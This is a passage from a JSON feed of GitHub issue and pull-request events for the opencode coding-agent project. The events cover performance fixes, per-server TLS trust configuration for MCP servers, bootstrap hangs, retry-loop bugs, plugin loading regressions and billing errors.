        "signalId": "github:anomalyco/opencode:pull_request:42150",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42150",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): make text/reasoning delta accumulation O(N) instead of O(N²)",
          "text": "### Issue for this PR Fixes #30067 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Resubmission of #30058 by meitalbensinai (auto-closed for missing PR template; commit cherry-picked unchanged, authorship preserved). Replaces `text += delta` accumulation in the `reasoning-delta` and `text-delta` handlers of `session/processor.ts` with a lazy chunked-text getter. Once anything reads `.text` between writes (UI render loop, NDJSON serializer, bus event broadcaster), the runtime flattens the rope string and the next `+=` re-copies the whole buffer — O(N²) in cumulative part length. On thinking-mode models emitting 1500+ small reasoning tokens per turn, this grows per-step latency from ~6s to 100s+ by turn 50-80 (perf evidence in #30067: memmove at ~30% of CPU, GC pinned). Same shape as the fix that landed in vercel/ai for `processUIMessageStream`. The getter is non-enumerable, so it does not leak through JSON.stringify/structuredClone; `.text` reassignment still works via the setter. ### How did you verify your code works? - Cherry-picked the original commit onto current dev and resolved the conflict in the import region (dev had since dropped an unused `log` variable; the incoming function is the only addition). - Diff is one file, +48/-2; confirmed no `+=` accumulation remains in either handler and no orphaned references were introduced. - Ran a local harness (Bun 1.3.14) executing the exact `installChunkedText` implementation from this diff: - Functional: after 80k appended deltas, `.text` is byte-identical to naive `+=` accumulation; the getter caches the joined string after first read; the setter resets the buffer and subsequent pushes accumulate correctly; `_chunks` is absent from JSON.stringify and object spread (non-enumerable, no leakage). - Performance: with flatten-forcing reads (JSON.stringify every 100 deltas), the chunked path is ~2.9x faster at 80k deltas / 1.6MB accumulated text, and the naive path re-copies the whole buffer on every append once a read forces flatten, so the gap widens with length. - Did not build the app or run the full test suite; the harness exercises the changed mechanism in isolation, not the whole binary. ### Screenshots / recordings n/a ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42150",
          "createdAt": "2026-08-12T21:34:24Z",
          "updatedAt": "2026-08-12T21:46:12Z",
          "timestamp": "2026-08-12T21:46:12Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "hardes11",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:e6b4166faefe34e37a78",
        "signalId": "github:anomalyco/opencode:issue:40111",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:40111",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Allow per-MCP-server trust configuration",
          "text": "## Problem Many MCP servers run inside private networks without publicly trusted TLS certificates. Examples include: - OPNsense / pfSense firewalls - TrueNAS / Synology appliances - Proxmox servers - Kubernetes clusters - Home Assistant - Enterprise internal services These services commonly use: - Self-signed certificates - Private certificate authorities - Internal DNS names - Private IP addresses MCP clients reject these connections because the certificates are not signed by a public CA. Current workarounds are not ideal: - Disable TLS verification globally (`NODE_TLS_REJECT_UNAUTHORIZED=0`) - Modify the operating system certificate store - Use `NODE_EXTRA_CA_CERTS` - Run a local proxy/bridge to terminate TLS - Require users to replace appliance certificates These approaches reduce security, add complexity, or defeat simple MCP setup. --- ## Proposed Solution Add per-MCP-server TLS trust configuration, scoped to one server only. ### Option 1: Custom CA file ```json { \"type\": \"http\", \"url\": \"https://192.168.1.1/mcp\", \"tls\": { \"caFile\": \"~/.config/mcp/opnsense-ca.pem\" } } ``` ### Option 2: Embedded CA certificate ```json { \"type\": \"http\", \"url\": \"https://192.168.1.1/mcp\", \"tls\": { \"caPem\": \"-----BEGIN CERTIFICATE-----...\" } } ``` ### Option 3: Certificate fingerprint pinning Similar to SSH host key verification. ```json { \"type\": \"http\", \"url\": \"https://192.168.1.1/mcp\", \"tls\": { \"fingerprint\": \"SHA256:ABC123...\" } } ``` Useful for home labs, network appliances, private IP services, and devices without public DNS. --- ## Why `NODE_EXTRA_CA_CERTS` is not sufficient ### 1. Process-wide, not MCP-server scoped ``` OpenCode process | +-- Homelab appliance MCP server (installed on the homelab appliance e.g opnsense, pfsense, docker host) +-- GitHub API +-- Other MCP servers +-- Other HTTPS requests ``` Adding a private CA via `NODE_EXTRA_CA_CERTS` trusts that CA for all TLS connections in the process. ### 2. Requires runtime/environment configuration Users must understand where to place cert files, how to set env vars, how the client launches Node, and whether it respects Node env vars. This breaks the expected workflow: 1. Install MCP server 2. Import MCP configuration 3. Use MCP ### 3. Inconsistent across MCP clients Different clients bundle their own Node runtime, use Electron, or different HTTP libraries. ### 4. No certificate pinning Cannot express \"trust this one specific certificate\": ``` SHA256:AA:BB:CC:DD:... ``` --- ## Security Requirements The implementation should: - Keep TLS verification enabled by default - Avoid global TLS bypasses - Scope trust to one MCP server - Show when custom trust is configured The implementation should **not** require `NODE_TLS_REJECT_UNAUTHORIZED=0` or `--ignore-certificate-errors`. --- ## Expected User Experience 1. Install MCP plugin on homelab appliance with self signed cert 2. Download/generate MCP configuration 3. Add MCP server to opencode project 4. Start using the MCP The user should not need to manually configure certificates, modify system trust stores, or install additional bridges.",
          "url": "https://github.com/anomalyco/opencode/issues/40111",
          "createdAt": "2026-08-02T00:59:41Z",
          "updatedAt": "2026-08-12T21:21:35Z",
          "timestamp": "2026-08-12T21:21:35Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "karup",
          "state": "open",
          "assignees": [
            "nexxeln"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:266699590edf11c3fb1f",
        "signalId": "github:anomalyco/opencode:pull_request:40125",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:40125",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(opencode): Allow per-MCP-server trust configuration",
          "text": "### Issue for this PR Closes #40111 Also partially addresses https://github.com/anomalyco/opencode/issues/23506 Rather than disabling verification globally, fingerprint pinning achieves the same goal — trusting a specific self-signed cert — without insecure: true. caFile handles private CAs cleanly without a blanket bypass. https://github.com/anomalyco/opencode/issues/14696 https://github.com/anomalyco/opencode/issues/26862 The createTlsFetch() wrapper and per-server TLS config injection proves the transport-layer plumbing needed for mTLS. Adding cert/key fields to the tls config block follows the same pattern — caFile validates PEM; cert+key would too. https://github.com/anomalyco/opencode/issues/1694 Provides a portable alternative. Instead of relying on OS-specific trust stores, caFile: \"~/ca.pem\" lets users point to their corporate CA explicitly, working identically across macOS/Linux/Windows without NODE_EXTRA_CA_CERTS. ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [x] Documentation ### What does this PR do? Adds per-MCP-server TLS trust configuration for remote MCP servers using self-signed certificates or private CAs. Three options: `caFile` (path to CA cert), `caPem` (inline CA cert), and `fingerprint` (SHA256 certificate pinning, like SSH host keys). Config schema is added to both V1 and V2 MCP configs. A `buildTlsCa()` helper reads files, validates PEM content, and verifies fingerprints, then `createTlsFetch()` injects the trusted CA into a custom fetch wrapper scoped to that transport only — no global TLS changes. Fingerprint verification uses a one-time pre-flight TLS socket to retrieve the server cert, compares it against the user-provided fingerprint, and promotes the verified cert to a trusted CA. Trust applies only to that transport instance and does not leak across MCP servers. ### How did you verify your code works? - Unit tests cover PEM validation, fingerprint format validation, file reading, DER-to-PEM conversion, and `buildTlsCa` integration - Three-pass code review (security, style/contribution guidelines, architectural design) - TOCTOU in file reads fixed via fd-based atomic stat+read - Performance review confirmed zero overhead on the no-TLS path (the guard `if (mcp.tls)` prevents any new allocations or yields when TLS is not configured) ### Screenshots / recordings _Not a UI change._ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/40125",
          "createdAt": "2026-08-02T04:46:28Z",
          "updatedAt": "2026-08-12T21:21:13Z",
          "timestamp": "2026-08-12T21:21:13Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "karup",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:8c628ee2001d19785dfc",
        "signalId": "github:anomalyco/opencode:issue:42114",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42114",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Insufficient balance. Manage your billing here: https://opencode.ai/workspace/wrk_01KZPYWCQQZEKXB8EBS6G76TET/billing",
          "text": "dont work Insufficient balance. Manage your billing here: https://opencode.ai/workspace/wrk_01KZPYWCQQZEKXB8EBS6G76TET/billing",
          "url": "https://github.com/anomalyco/opencode/issues/42114",
          "createdAt": "2026-08-12T18:46:25Z",
          "updatedAt": "2026-08-12T21:16:25Z",
          "timestamp": "2026-08-12T21:16:25Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "Ernesto35SS",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:d1eb578119094b6ab178",
        "signalId": "github:anomalyco/opencode:pull_request:42118",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42118",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix: handle error where OPENCODE_CONFIG is pointing to a directory",
          "text": "### Issue for this PR Closes #42116 ### Type of change - [ x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Catch errors related from invalid values in OPENCODE_CONFIG_DIR / OPENCODE_CONFIG, report error instead of printing stack trace (bun dev)/unexpecter error (opencode binary) ### How did you verify your code works? Locally executed testing, added unit test cases. ### Screenshots / recordings _If this is a UI change, please include a screenshot or recording._ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42118",
          "createdAt": "2026-08-12T18:53:08Z",
          "updatedAt": "2026-08-12T21:16:22Z",
          "timestamp": "2026-08-12T21:16:22Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "hhamalai",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:fa00f325a5a0e42ebe78",
        "signalId": "github:anomalyco/opencode:pull_request:42148",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42148",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "deps: update OpenTUI to 0.5.2",
          "url": "https://github.com/anomalyco/opencode/pull/42148",
          "createdAt": "2026-08-12T21:06:37Z",
          "updatedAt": "2026-08-12T21:09:43Z",
          "timestamp": "2026-08-12T21:09:43Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "simonklee",
          "state": "closed",
          "assignees": [
            "simonklee"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:7002a0b5647326e31d7f",
        "signalId": "github:anomalyco/opencode:issue:19005",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:19005",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Make local file paths clickable in terminal output",
          "text": "## Problem When opencode generates files (reports, documents, images, etc.), the file paths displayed in the terminal are not clickable. Users have to manually copy the path and run `open <path>` to view the files. ## Current Behavior File paths appear as plain text in the terminal, requiring manual copy-paste to open. ## Expected Behavior File paths should be rendered as clickable links using the `file://` protocol, similar to how iTerm2, VS Code Terminal, and other modern CLI tools handle local paths. ## Use Case When running tasks that generate multiple files (reports, charts, documents), users need to quickly open and review these files. Currently, they must manually navigate and open each file. ## Suggested Implementation 1. Detect file paths in output 2. Render using `file://` protocol prefix for clickability 3. Or provide a command like `/open <filename>` to open recent files ## Environment - OS: macOS - Terminal: iTerm2 / Terminal.app - Use case: Generating reports, charts, and documentation files",
          "url": "https://github.com/anomalyco/opencode/issues/19005",
          "createdAt": "2026-03-24T20:04:13Z",
          "updatedAt": "2026-08-12T20:59:27Z",
          "timestamp": "2026-08-12T20:59:27Z",
          "metrics": {
            "reactions": 5,
            "comments": 7
          },
          "labels": [],
          "author": "Xi0ng8",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:5a179a90c14b0946f6cd",
        "signalId": "github:anomalyco/opencode:issue:41806",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:41806",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Instance bootstrap hangs forever (Linux): spawned git child exits but is never reaped — TUI renders, but Enter can never start a session",
          "text": "## Summary On Linux, `opencode` (TUI) intermittently hangs **forever during instance bootstrap**: a `git` child spawned during init **exits but is never reaped** (it stays `<defunct>` for the life of the process), the bootstrap await never settles, and the window renders normally — accepts typing — but Enter can never start a session because the server side never finished booting. No error is shown or logged; the process idles in `epoll` indefinitely. ## Environment - opencode **1.18.15**, Linux 6.8.0-124-generic (Ubuntu), TUI launched in a terminal - Heavily concurrent host: multiple opencode instances (interactive + `opencode run`) active in the same projects ## Evidence (from two live hung instances, same day) Log (shared `~/.local/share/opencode/log/opencode.log`) — the hung instance run stops mid-bootstrap and never logs another line: Instance A stopped at `init`: ``` 16:33:51.880 bootstrapping directory=/home/oren/projects/kk/billie 16:33:52.020 message=\"all LSPs are disabled\" 16:33:52.021 message=\"all formatters are disabled\" 16:33:52.021 message=init <- nothing, ever again (14 lines total, 0 sessions) ``` Instance B stopped one phase later: ``` 16:40:13.397 message=init 16:40:16.163 message=\"watcher backend\" ... backend=inotify 16:40:16.165 message=\"project copy refresh started\" projectID=1d4fe22... <- never \"done\", nothing again (0 sessions) ``` A healthy boot of the SAME project in the SAME minute continues: `init` → `watcher backend` → `project copy refresh started/done` → `init count=281` → sessions created on Enter. Process table — the discriminator. Each hung instance holds exactly one unreaped git child; seven healthy same-host instances hold zero: ``` $ ps --ppid <hung-tui-pid> -o pid,stat,args 3377914 Sl+ python3 .../mcp_server.py (local MCP, alive, fine) 3378581 Zs [git] <defunct> (spawned during bootstrap, never reaped) ``` The zombies' spawn times match the last log line to the second (e.g. git spawned 16:40:16 local; `project copy refresh started` logged 16:40:16.165Z). Parent state: `wchan=ep_poll`, i.e. the event loop is alive and waiting — an await whose completion event was lost, not a deadlock on a sync call. ## Trigger correlation Both hangs happened when the window was opened into a project where **other opencode instances were concurrently running git against the same shared snapshot store** (`~/.local/share/opencode/snapshot/<projectID>/` — visible as concurrent `tracking hash=...` log lines from the other instances). It is a race: a boot into the same busy project 90 s earlier survived. Historical scan of our log: ~30 instance runs since 2026-08-07 (of 895) logged `creating instance` but never reached `watcher backend`, clustered in bursts of concurrent activity. ## What it is not - Not input/keybind/TTY related — termios verified sane; the failure is server-side, before any input matters. - Not plugins spawning the git — our plugins only spawn git synchronously (`execFileSync`, which reaps its own child). The unreaped child is core's. - Not resolved by any key — only closing and reopening the window. ## Expected Bootstrap either completes or fails loudly. A spawned git child's exit should always settle the awaiting promise (success or error), under any interleaving — including exiting very fast, or failing on `index.lock` contention from a sibling instance. ## Suspected area The boot-time snapshot/project-copy git spawn: child exit (possibly an immediate/fast exit, or a nonzero exit on lock contention) is not observed — either the exit handler is registered after the exit event has already fired (Bun subprocess reaping race) or an error path never rejects the awaited promise. Happy to run an instrumented build or provide more process-level captures; reproduction should be possible by booting a TUI into a project while a loop hammers git operations against that project's snapshot dir.",
          "url": "https://github.com/anomalyco/opencode/issues/41806",
          "createdAt": "2026-08-11T17:21:26Z",
          "updatedAt": "2026-08-12T20:57:53Z",
          "timestamp": "2026-08-12T20:57:53Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "oren-kk",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:60a65ed3cc4495860d45",
        "signalId": "github:anomalyco/opencode:issue:41848",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:41848",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "LLM retry has no max attempts: stream errors cause infinite retry loop, UI stuck on Thinking",
          "text": "﻿## Summary LLM retry has no maximum attempt limit. RETRY_MAX_DELAY is set to 2147483647ms (~24 days). When DeepSeek returns a stream error, the retry loop continues indefinitely — the UI shows \"Thinking...\" forever with no error feedback. ## Evidence - 5 processes died on `llm runtime selected` immediately after `stream error` - RETRY_MAX_DELAY = 2147483647 (should be ~30 seconds for typical API retries) - No RETRY_MAX_ATTEMPTS constant exists - retryable() matches stream errors against patterns like `/stream/` and `/error/` — always retryable - RETRY_MAX_DELAY_NO_HEADERS = 30000 exists but only applies when no response headers present - With response headers, cap is full RETRY_MAX_DELAY (24 days) ## Code location File: `retry.ts` (bundled in main chunk) ``` RETRY_MAX_DELAY = 2147483647 // ~24 days — effectively unlimited RETRY_MAX_DELAY_NO_HEADERS = 30000 // only used without headers // RETRY_MAX_ATTEMPTS is MISSING function policy2(opts) { return fromStepWithMetadata(succeed((meta3) => { const error50 = opts.parse(meta3.input); const retry6 = retryable(error50, opts.provider); if (!retry6) return done(meta3.attempt); // only stops if NOT retryable // continues forever otherwise })); } ``` ## Expected behavior After N attempts (e.g., 3-5), emit a `providerError` event and stop — let the UI show an error instead of eternal \"Thinking...\" Version: 1.18.16, Electron 42.3.3",
          "url": "https://github.com/anomalyco/opencode/issues/41848",
          "createdAt": "2026-08-11T20:40:04Z",
          "updatedAt": "2026-08-12T20:57:41Z",
          "timestamp": "2026-08-12T20:57:41Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "teran-netizen",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:1ea0bdc4d1d2eb7cf085",
        "signalId": "github:anomalyco/opencode:issue:42128",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42128",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Free Usage Limit Exceeded on First Request (DeepSeek V4 Flash Free / OpenCode Zen)",
          "text": "### Description # Issue: Free Usage Limit Exceeded on First Request (DeepSeek V4 Flash Free / OpenCode Zen) ## Summary The model `DeepSeek V4 Flash Free` (provider: OpenCode Zen) returns a \"Free usage exceeded\" error immediately, despite no prior requests having been made under this account/session. ## Environment - **Client:** OpenCode (terminal-based AI coding CLI) - **Model:** DeepSeek V4 Flash Free - **Provider:** OpenCode Zen - **Agent config:** Claude-Like-V2 ## Steps to Reproduce 1. Open OpenCode with the `Claude-Like-V2` agent configuration. 2. Select `DeepSeek V4 Flash Free` as the active model. 3. Send a minimal test message (e.g. `hai`). 4. Observe the response. ## Expected Behavior The request should be processed normally, since this is the first request sent on the free tier and no prior usage has been recorded. ## Actual Behavior The request immediately fails with the following error: ``` Free usage exceeded, subscribe to Go [retrying attempt #2] ``` The system continues to retry automatically but does not succeed. ## Evidence <img width=\"720\" height=\"927\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/a326ddfb-55cc-4540-967b-067c4e0ae085\" /> - Screenshot attached showing the error message displayed directly after the first message was sent, with no prior activity in the session. ## Impact - Blocks any usage of the free tier for this model. - Prevents testing/development workflows that rely on the free quota. - Retry attempts do not resolve the issue, resulting in a stuck state. ## Possible Causes - Free-tier quota may be shared/pooled across all users and already exhausted server-side (not user-specific). - Incorrect quota tracking or reset logic on the provider's backend. - Session/account misidentification causing the quota check to reference a different (already-exhausted) usage record. ## Suggested Next Steps - Verify quota reset timing and whether the free tier is per-user or globally shared. - Check backend logs for the account/session to confirm zero prior usage before this request. - Provide clearer error messaging distinguishing \"global quota exhausted\" from \"user quota exhausted.\" ## Additional Notes No workaround currently available other than switching to a paid plan (`Go`) or a different model. ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System Proot-distro Debian (termux) ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42128",
          "createdAt": "2026-08-12T19:34:31Z",
          "updatedAt": "2026-08-12T20:54:48Z",
          "timestamp": "2026-08-12T20:54:48Z",
          "metrics": {
            "reactions": 5,
            "comments": 7
          },
          "labels": [],
          "author": "Riflxz",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:c56e909451f0849aa2ad",
        "signalId": "github:anomalyco/opencode:issue:42051",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42051",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "tui: plugins no longer load after cli.json config migration (nightly next channel)",
          "text": "## Summary TUI plugins stopped loading in the `next` nightly channel after builds that migrated TUI config into `cli.json`. Plugin entries in `tui.json` (string/tuple form) and `cli.json` (`{package, options}` form) are both ignored — the TUI runtime never attempts to load them. Adding the same plugin to the server config (`opencode.jsonc` `plugins`) makes the server load it as a server plugin and crash with `TypeError: undefined is not an object (evaluating 'context.storage.memory')` because TUI-only context capabilities do not exist server-side. ## Environment - opencode version: `0.0.0-next-17297` (also reproduced on `0.0.0-next-17296`) - OS: Linux Fedora 43, `7.1.7-100.fc43.x86_64` - Terminal: tmux (`TERM=xterm-256color`, truecolor) - Shell: fish - Install/channel: `next` (npm global install of `@opencode-ai/cli`) - Active plugins: local TUI plugin `/home/samarth/repos/live-token-info/src/index.tsx` (`id: live-token-meter`, uses `context.storage.memory` and `context.ui.slot(\"prompt.footer.end\")`); previously also `@renjfk/opencode-voice` ## Reproduction 1. Create a local TUI plugin module: `index.tsx` with `/** @jsxImportSource @opentui/solid */`, `import { Plugin } from \"@opencode-ai/plugin/tui\"`, and `Plugin.define({ id, setup(ctx) { ctx.storage.memory(...); ctx.ui.slot(\"prompt.footer.end\", ...) } })`. 2. Add it to `~/.config/opencode/tui.json` as a tuple: ```json \"plugin\": [ [\"/path/to/plugin.tsx\", { \"charsPerToken\": 4, \"showTotals\": true }] ] ``` (Same form used by the working `.opencode/tui.json` example for the `tui-smoke` fixture in this repo.) 3. Restart the TUI (`opencode2`). 4. The plugin does not load. No entry appears in `~/.local/state/opencode/plugin-meta.json` and no client-side log messages are emitted. 5. Alternative: add the same plugin to `~/.config/opencode/opencode.jsonc` as `\"plugins\": [{ \"package\": \"/path/to/plugin.tsx\", \"options\": {...} }]` and restart. The server log shows: ``` msg=\"loading plugin\" id=/path/to/plugin.tsx entrypoint=\"/path/to/plugin.tsx?mtime=...\" message=\"failed to load plugin\" plugin.id=live-token-meter cause=\"Cause([Die(TypeError: undefined is not an object (evaluating 'context.storage.memory'))])\" ``` ## Expected Behavior TUI-kind plugins load in the TUI client with the TUI plugin context (`storage`, `ui`, `theme`, `data`), either from client config entries (`tui.json` tuples / `cli.json` `{package, options}`) or through server-side kind detection that routes them to the client without executing `setup` with a server context. ## Actual Behavior - The TUI runtime ignores all client-config plugin entries (no attempts recorded in `plugin-meta.json` or logs) since the `cli.json` migration appeared in `next-17098` (server log: `migrated cli config` on 2026-08-10). - Server-config entries load the module as a server plugin and crash in `setup` on `context.storage.memory` being undefined. - Timeline confirmation: TUI plugin `@renjfk/opencode-voice` loaded successfully 46 times until the `next-17055` era (last load 2026-08-09) and never again after the migration landed; the `tui-smoke.tsx` fixture loaded once on 2026-07-02 and has not re-loaded since. ## Additional Context Config used for reproduction: ```jsonc // ~/.config/opencode/tui.json \"plugin\": [ [\"/home/samarth/repos/live-token-info/src/index.tsx\", { \"charsPerToken\": 4, \"showTotals\": true }] ] // ~/.config/opencode/cli.json (rewritten each start by the built-in migration) \"plugins\": [ { \"package\": \"/home/samarth/repos/live-token-info/src/index.tsx\", \"options\": { \"charsPerToken\": 4, \"showTotals\": true } } ] ``` - Stable channel 1.18.16 still contains the legacy client-side flow (`loading tui config` / `skipping invalid tui config` message strings) and does not exhibit the regression. The nightly binary (`next-17297`) no longer contains those strings, which matches the client runtime no longer reading client config. - Consistently reproducible across roughly 10 client restarts. - No workaround found; the server-config entry must be removed to stop the crash on every start. The plugin itself is unaffected (module imports fine; the failure happens inside `setup` with a server context).",
          "url": "https://github.com/anomalyco/opencode/issues/42051",
          "createdAt": "2026-08-12T15:08:22Z",
          "updatedAt": "2026-08-12T20:51:19Z",
          "timestamp": "2026-08-12T20:51:19Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "2.0"
          ],
          "author": "samarth-na",
          "state": "open",
          "assignees": [
            "simonklee"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:e0e55d026fca42907fb7",
        "signalId": "github:anomalyco/opencode:pull_request:42100",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42100",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): adopt pre-project sessions on directory resolution",
          "text": "## What Keep sessions created before Git initialization visible after their directory acquires a stable project identity. ## Before / After **Before:** A session created in a non-Git directory belonged to the `global` project. After `git init`, project resolution assigned the directory a real project ID, but the session row kept its stale `global` ownership, so project-scoped listing hid it and it disappeared from the TUI and app. **After:** When `Project.resolve` first establishes a directory's identity, it records one durable `project.directory.resolved` fact (`projectID`, `directory`, `previous`). The session projection folds it: sessions still owned by the previous resolution (or `global`) whose directory sits inside the resolved directory follow the new identity immediately — before any listing happens. Location, transcript, instructions, and recency are untouched. ## How The underlying fact is project-domain, not session-domain: \"this directory now resolves to this project.\" Modeling it that way replaces the earlier per-session adoption design (durable `session.project.adopted` reconciled on every project-scoped list) with one event per identity change and zero read-path work. - `packages/schema/src/project-directories.ts`: durable `project.directory.resolved` (aggregate `projectID`), consuming the previously dead `Project.Resolved.previous` field. - `packages/schema/src/durable-event-manifest.ts`: registers the first non-session durable event. - `packages/core/src/project.ts`: `persist` publishes the event when a `(projectID, directory)` row is missing; the row insert runs in the event's `commit` hook, so the announcement and the row commit atomically and a crash between resolves is self-healing. An in-flight set keeps concurrent in-process resolves from announcing the same fact twice; cross-process duplicates remain possible and the fold is idempotent. - `packages/core/src/session/projector.ts`: folds the event into the session read model with a bulk conditional update. The `WHERE project_id IN (previous, global)` guard makes a concurrently moved session unmatchable, so no locks or conflict defects are needed. A lexicographic directory range narrows the scan and `FSUtil.contains` decides containment exactly. - `packages/core/src/bus.ts`: the new `project → bus` edge exposed a module cycle (`bus → location → project → bus`) that hit node bindings in TDZ; bus now takes location types from schema and defers the `Location.Service` tag import into the layer. - `packages/tui`, `packages/app`: apply the same fold to cached session metadata through one shared pure helper, `ProjectDirectories.adopt` in `packages/schema`, colocated with the event definition. - `packages/client`: regenerated; only the promise event union changes since no session durable event was added. ## Scope - Only `previous`-owned and `global`-owned sessions follow a resolution. Sessions owned by a different real project ID (e.g. root-commit identity replaced by a later-added git remote without a cached ID) still strand; the event's `previous` field is the hook for handling that transition when cached-identity tracking lands. - Cross-aggregate replay ordering (project events interleaved with session events during a full rebuild) is unchanged from the existing per-aggregate replay semantics. ## Testing - `bun run test test/session-create.test.ts test/session-move.test.ts` in `packages/core` — new regression: pre-Git session (root and nested) adopted immediately after `resolve`, exactly one durable event across repeated resolves, session log records nothing new, recency preserved; moved session stays out of its former directory's new identity. - `bun run test` in `packages/core` — full suite, 1694 pass. - `bun test test/event-manifest.test.ts` in `packages/schema`; `bun run test` in `packages/client`. - `bun typecheck` in `packages/schema`, `packages/core`, `packages/client`, `packages/tui`, `packages/app`. - `bun run generate` in `packages/client` (clean regeneration). ## Flow ```mermaid sequenceDiagram participant Any as Any resolve caller participant Project as Project service participant Bus as Durable bus participant Projection as Session projection participant Clients as TUI / app caches Any->>Project: resolve(directory) Project->>Project: directory row missing for new identity Project->>Bus: project.directory.resolved {projectID, directory, previous} Note over Bus: directory row insert commits atomically (commit hook) Bus->>Projection: fold: sessions owned by previous/global under directory Projection->>Projection: set project_id + subpath, keep recency Bus-->>Clients: event stream applies same fold to cached sessions ```",
          "url": "https://github.com/anomalyco/opencode/pull/42100",
          "createdAt": "2026-08-12T18:02:19Z",
          "updatedAt": "2026-08-12T20:47:56Z",
          "timestamp": "2026-08-12T20:47:56Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:919e35e6c15cad7435e0",
        "signalId": "github:anomalyco/opencode:pull_request:42142",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
